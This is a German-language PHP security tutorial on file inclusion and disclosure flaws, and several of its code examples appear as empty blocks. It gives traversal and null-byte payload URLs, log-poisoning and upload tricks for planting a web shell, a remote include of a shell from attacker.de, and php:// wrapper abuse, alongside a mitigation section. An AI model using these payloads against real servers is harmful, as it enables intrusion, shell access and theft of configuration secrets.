~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ******************************************************* # WEBSECURITY DOCUMENTATION # # -------------------------------------- # # File Inclusion/Disclosure # # -------------------------------------- # # # # # # written by fred777 [fred777.5x.to] # # # ****************************************************** ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --[0x00]-- Intro --[0x01]-- Local File Inclusion [1] Description [2] Basic Exploiting [3] Advanced Exploiting [4] Dateien [5] LFI2RCE [6] Absichern --[0x02]-- Remote File Inclusion [1] Description [2] Basic Exploiting [3] Exploiting Advanced --[0x03]-- File Disclosure [1] Description [2] Exploiting [3] LFI2FD --[0x04]-- Finito ******************************************************** ####################################################### --[0x00]-- Intro File Inclusions sind Lücken in Webanwendungen, welche es uns ermöglichen fremde Scripte oder Codes in das eigentliche Script einzubinden. Unterschieden wird allgemein zwischen Remote und Local File Inclusions. LFI auch Local File Inclusion genannt ermöglicht es uns local gespeicherte Dateien auf dem Server in das eigentliche Script einzubinden. Dies kann gefährlich werden, wenn diese Daten z.B. Konfigurationsdateien sind und geheime Informationen oder Schadcode enthalten. Bei der RFI hat man zusätzlich Zugriff auf externe Scripte im Bezug auf inlcude(), require() etc.. Die Bugs entstehen wie so oft durch unsaubere Programmierung. ####################################################### --[0x01]-- Local File Inclusion ------------------------------------------------------- [1] Description ------------------------------------------------------- Hier werde ich genauer auf Local File Inclusion eingehen. Dazu bezogene PHP Funktionen, bei welchen diese Lücke auftreten kann sind z.B. include(), oder require_once(). Sie binden wie schon gesagt, ein existierendes Script in ein anderes ein. Hilfreich z.B. für Konfigurationsdateien oder Seitenmanagement. Beispiel: .................................... .................................... Ein einfacher Code der mittels Include per GET-Parameter eine Datei aufruft. Nun so ist es auch vorgesehen. Der Coder stellt sich vor, dass seine Seite am Ende mit in der URL die Datei includiert Etwas so: www.seite.de/index.php?file=newsletter.php Eigentlich auch kein Problem, ganz komfortabel und oft anzutreffen, nur sollte er wissen, dass man ohne jede Einschränkung eben auch jede Datei auf dem Server includen kann, und das darf nicht sein. ------------------------------------------------------- [2] Basic Exploiting ------------------------------------------------------- Nun was kann man mit so einer Lücke machen, wenn uns alle Dateien auf dem Server zur Verfügung stehen? Richig, wir suchen nach Dateien, welche evtl. sinnvolle Informationen enthalten könnten. Vorher allerdings, da man den Sourcecode nicht kennt, sollte man schauen, ob der Parameter vulnerable ist. Dafür versuchen wir eine Datei einzubinden, die außerhalb des Webseitenpfads liegt und immer verfügbar sein sollte. Diese ist von Betriebssystem zu Betriebssystem verschieden, unter Windowssystemen z.B. die boot.ini, welche standardmäßig auf: C:\boot.ini liegt. Unter Unixsystemen z.B. die Userverwaltung 'passwd', welche in '/etc/' liegt. Binden wir sie ein, müssen wir natürlich einige Verzeichnisse zurück switchen, dies geschieht mit '../', dabei gilt, lieber mehr als zuwenig, da beide Dateien weiter zurück nicht liegen können. www.seite.de/index.php?file=../../../../../../../../etc/passwd Ist der Parameter nicht überprüft worden, sollte jetzt Plaintext erscheinen, da beide Dateien nicht von PHP interpretiert werden können, sondern nur von HTML ausgezeichnet werden. Schlägt es fehl, könnte z.B. so ein Error erscheinen: Warning: include(../../../../etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/fred/domains/fred777.tk/public_html/index.php on line xxx ------------------------------------------------------- [3] Advanced Exploiting ------------------------------------------------------- Oft werden aber auch die Endungen der Dateien schon vorher festgelegt, etwa so: .................................. .................................. www.seite.de/index.php?file=newsletter Hier wird die Endung .php automatisch gesetzt, das würde uns natürlich stören, da ein etc/passwd.php natürlich nicht existiert. Jetzt kommt das NULL-Byte zu Hilfe, da es standardmäßig Strings terminiert, sprich nach dem Nullbyte ist der String zu Ende. Für den GET-Parameter URL-encoded, lautet er: %00 Mit unseren Kentnissen zusammen ergibt sich dann das: www.seite.de/index.php?file=../../../../../../../../../etc/passwd%00 Aber Achtung, sollte magic_quote_gpc aktiv sein, wird das %00 zu /0, dem normalen NULL-Byte. Unter Windows lässt sich das manchmal mittels der sogenannten 'Dot Truncation' verhindern, sprich: www.seite.de/index.php?file=../../../../../../../../../etc/passwd........................ Ansonsten kann man es mit 'Path Truncation' versuchen: www.seite.de/index.php?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ ------------------------------------------------------- [4] Dateien ------------------------------------------------------- Nun ist passwd aber nicht interessant, da die Passwörter in dem meisten Fällen in etc/shadow stehen und diese Datei lässt sich meist nicht anzeigen. Deshalb könnte man es sich zu nutze machen und die config-Dateien auslesen. Dafür wiederrum muss man wissen was für ein System auf dem Server läuft, da sich die Pfade nur ähneln aber nicht gleichen. Das bekommt man durch Information Gathering heraus, was ein weit gefächertes Gebiet ist. Z.B. kann man versuchen ein nicht existierendes File über die URL zu laden, oft steht in der Error-Datei Was für ein Apache oder OS auf dem Server läuft, hier gibt es viele Methoden das herauszubekommen welche ich auch nicht alle erläutern werde. Wir haben also gefunden, dass der Server der Seite ein Apache 2.2 auf Ubuntu ist. Apache/2.2.11 (Debain,Ubuntu) Server at seite.de Port 80 Also suche wir uns die richtigen Pfade aus: http://wiki.apache.org/httpd/DistrosDefaultLayout ServerRoot :: /etc/apache2 DocumentRoot :: /var/www Apache Config Files :: /etc/apache2/apache2.conf :: /etc/apache2/ports.conf Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled ErrorLog :: /var/log/apache2/error.log AccessLog :: /var/log/apache2/access.log cgi-bin :: /usr/lib/cgi-bin binaries (apachectl) :: /usr/sbin Jetzt könnten wir uns z.B. das Apache Configfile anschauen: www.seite.de/index.php?file=../../../../../../etc/apache2/apache2.conf%00 Selbstverständlich gehen wir vom Standard aus. Auch das lässt sich manuell noch anpassen. Unter FreeBSD, lassen sich, je nach Konfiguration, auch ganze Ordner einsehen (Direct Listening): www.seite.de/index.php?file=../../../../../../etc/apache2/%00 ------------------------------------------------------- [5] LFI2RCE ------------------------------------------------------- Wir könnten noch weiter gehen und uns überlegen wie man fremden Schadcode auf den Server bekommt, welchen man dann wieder ausführen könnte; dafür gibt es ein paar Möglichkeiten. 1. Der Errorlog: ................ Jeder Fehler auf einer Seite (Apache) wird in einer Log-Datei gespeichert, die Error.log, nun kann man extra einen Fehler verursachen welcher dann auch in die Datei geschrieben wird. Nun der Gedanke, man könnte den Fehler doch mit PHP-Code verursachen, so wird dieser in die Error.log Datei geschrieben, der Browser allerdings wird diesen Code encoden. Um dem entgegen zu wirken benutzen wir einfach Telnet, hier wird die Abfrage abgeschickt ohne Strings zu encoden. Danach binden wir den Error.log ein, der PHP Code wird interpretiert und ausgeführt. Wir wissen ja wir haben Debain mit Apache 2.2, also liegt der Errorlog hier: /var/log/apache2/error.log Ansonsten lässt er sich auch aus der Apache-conf Datei lesen. www.seite.de/index.php?file=../../../../../../../var/log/apache2/error.log Es funktioniert also. Nun überlegen wir uns einen PHP-Code welcher eine shell auf dem Server erstellt. GET/ Jetzt mit Telnet verbinden und abschicken, es gelangt in den Errorlog und wenn die Rechte vorhanden sind wird das ganze durch include() ausgeführt. www.seite.de/index.php?file=../../../../../../../var/log/apache2/error.log Von seite.de/c99.txt wird die shell kopiert und in böse.php auf dem Server gespeichert. Quasi 1:1 Sie sollte nun verfügbar sein. www.seite.de/böse.php Natürlich kann auch jedes andere Logfile so genutzt werden, z.B. die access.log von Apache. 2. Uploadfunktion: .................. Wenn der Server eine Uploadfunktion hat könnt ihr versuchen eure Datei hochzuladen, falls php verboten ist versucht es mit einem Bild und PHP-Code. Mittels edjpgcom z.B. kann man Comments in Bilder einfügen. So fügen wir unseren PHP Shellcode ein. Nun wird es hochgeladen und man gibt den absoluten Pfad des Bildes/der Datei an und schwups, siehe da, der PHP-Code wird ausgeführt. Achtung mit den Verzeichnissen, hier muss geachtet werden, wie weit man switched, falls der absolute Pfad nicht bekannt ist. Schön auch, sollte es ein Remote File Upload Bug geben. www.seite.de/index.php?file=../../../../../../../home/fred/domains/fred777.tk/pic.jpg Die Funktion ist ganz nützlich, z.B. in Foren wo ihr Avatare uploaden könnt. Und nicht vor dem unbekannten Charset zurückschrecken. Bilder sind kein Plaintext. 3. proc/self/environ: .................. Dies ist eine Datei, welche falls vorhanden, die Informationen des Users (Browsers) anzeigt. Auch hier kann der Schadcode einfach in den User_Agent eingefügt (Tamperdata) und die Datei eingebunden werden. www.seite.de/index.php?file=../../../../../../../proc/self/environ Die Shell sollte erstellt worden sein.. 4. Sessions: .................. Arbeitet die Seite mit Sessions, und ihr könnt sie ändern, lassen auch diese sich relativ simpel einbinden. Meißtens liegen sie in '/tmp/' oder '/var/lib/php5/' Die Datei setzt sich auch dem String sess_ und der sessid_value zusammen. www.seite.de/index.php?file=../../../../../../../tmp/sess_valuevaluevalue.. ------------------------------------------------------- [6] Absichern ------------------------------------------------------- Um derartige Lücken zu schließen, gibt es wie immer verschiedene Optionen. Das eine wäre open_basedir, eine Einstellung der php.ini. Sie erlaubt den Zugriff auf PHP-Files nur in dem angegebenen Bereich. Allerdings könnten dann immernoch ungewünschte Dateien innerhalb dieses Bereiches eingebunden werden. Eine weitere schöne Lösung: basename() .................................. .................................. Der eingegebene String, etwa '../../../../../error.log' wird zu 'error.log' Der Filename wird aus dem Pfad extrahiert. Ein anderer Punkt wären Arrays oder geziehlte Abfragen der Dateien: (Konstanten können vorher definiert werden) .................................. .................................. Dies kann natürlich mit Datenbanken etc. noch beliebig erweitert werden. Angefügt kann z.B. noch eine Überprüfung auf 'Badwords' erfolgen. .................................. preg_match('/%|\./',$_GET['file'],'//'); .................................. Das ganze muss dann entfernt oder replaced werden, Stichwort 'preg_replace' ################################################################# --[0x02]-- Remote File Inclusion ------------------------------------------------------- [1] Description ------------------------------------------------------- Die Remote File Inclusion verhält sich ähnlich wie die LFI. Sie entsteht gleich und kann auch gleich behoben werden. Der Unterschied ist nur, dass wir bei der LFI lokal auf dem Server gelagerte Dateien einbinden mussten. Bei der Remote File Inclusion stehen uns auch Scripte auf anderen Servern zur Verfügung, was das Problem natürlich wesentlich vereinfacht. Zustande kommt der Unterschied wieder in der php.ini. Hier existieren die Einstellungen: - allow_url_fopen, es muss = on gesetzt werden und ermöglicht dass auch URL Objekte gewrappt werden. - allow_url_include, muss ebenfalls auf on stehen und ermöglicht URL Wrapper auf z.B. include(). Sind diese Bedingungen gegeben, können auch Dateien von externen Servern eingebunden werden. ------------------------------------------------------- [2] Basic Exploiting ------------------------------------------------------- Nehmen wir uns wieder oben schon genanntes Script zur Hand: .................................... .................................... Nun müssen nicht mehr umständige Wege gegangen werden, um eigenen Code einzubinden. Dies kann simpel von außen geschehen. Wir laden ihn in Form von Text auf eine Seite und binden ihn ein. www.attacker.de/shell.txt www.seite.de/index.php?file=http://attacker.de/shell.txt? Notfalls auch hier wieder unser NULL-Byte. ------------------------------------------------------- [3] Exploiting Advanced ------------------------------------------------------- Auch hier gibt es Kniffe, wie man es sich teils einfacher machen kann oder für Situationen, wenn z.B. nur 'allow_url_include = On' ist. Hilfreich hierfür ist z.B. der PHP Stream: php://input Er liest Daten aus dem POST Parameter, allerdings achtet auf url_encoding. www.seite.de/index.php?file=php://input [DATA IN POST PARAMETER] ################################################################# --[0x03]-- File Disclosure ------------------------------------------------------- [1] Description ------------------------------------------------------- File Disclosures sind ebenfalls Lücken in Webanwendungen. Sie werden oft mit File Inclusions verwechselt, und doch unterscheiden sie sich. Bei einer File Disclosure, werden die Dateien nicht eingebunden, sondern ausgelesen und angezeigt. Dafür sind meißtens bei PHP Funktionen zuständig wie: readfile() file() file_get_contents() fgets() ... Beispiel: .................................... .................................... ------------------------------------------------------- [2] Exploiting ------------------------------------------------------- Solch einen Bug kann man sich natürlich leicht zunutze machen und beispielsweise die Konfigurationsdateien auslesen. Da sie oft in normale Files eingebunden werden, sind sie leicht zu finden. www.seite.de/index.php?file=../config.php Auch hier kann mit NULL-Bytes gearbeitet werden, sollte der String noch sonstige Zeichen enthalten. www.seite.de/index.php?file=../config.php%00 ------------------------------------------------------- [3] LFI2FD ------------------------------------------------------- Hat man nur eine File Inclusion, so kann diese auch zu einer File Disclosure werden. Bedingung bei der Methode ist, dass allow_url_include=On in der php.ini definiert und die PHP Version > 5.0.0 ist. Es wird dabei auf 'php://filter' Metawrapper zurückgegriffen, ihm wird als Resource die Datei übergeben und das Ergebnis erfolgt konvertiert. Da bei einer File Inclusion natürlich der Code interpretiert wird, jagen wir ihn einfach durch einen Base64 Encoder, wobei das Endprodukt 'nur' dargestellt werden kann. Es braucht dann nur noch decodiert zu werden und man hat den Inhalt der Datei. www.seite.de/index.php?file=php://filter/convert.base64-encode/resource=config.php ---- BASE64CODE ---- Was lernen wir daraus, sollten Parameter in derartige Funktionen integriert werden, bitte vorher darauf achten, dass der Inhalt dem entspricht, was auch erwünscht ist. Das ist leicht mittels Bedingungen und Arrays zu lösen. ################################################################## --[0x04]-- Finito Ich hoffe mal, es ist jetzt verständlicher, was bei falsch behandelten PHP Funktionen im Bezug auf externe Scripte passieren kann. fred777 @ [fred777.tk]